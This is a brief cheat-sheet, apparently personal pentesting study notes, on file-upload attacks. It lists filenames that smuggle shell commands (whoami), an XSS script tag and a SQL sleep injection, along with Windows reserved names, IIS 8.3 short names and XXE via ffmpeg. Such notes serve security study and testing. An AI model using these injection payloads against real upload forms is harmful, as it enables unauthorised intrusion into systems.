# Other Upload Attacks

## RCE in File Name

`file$(whoami).jpg` or ``file`whoami`.jpg`` or `file.jpg||whoami`

## XSS in File Name

```html
<script>alert(window.origin);</script>.jpg
```

## SQL Injection in File Name

```sql
file';select+sleep(5);--.jpg
```

## Windows Specific Attacks

`|`, `<`, `>`, `*`, or `?`

`CON`, `COM1`, `LPT1`, or `NUL`

[8.3\_filename](https://en.wikipedia.org/wiki/8.3_filename) -> Eto ata ung shortname sa IIS server

## Advance File Upload Attacks

things like xxe in ffmpeg
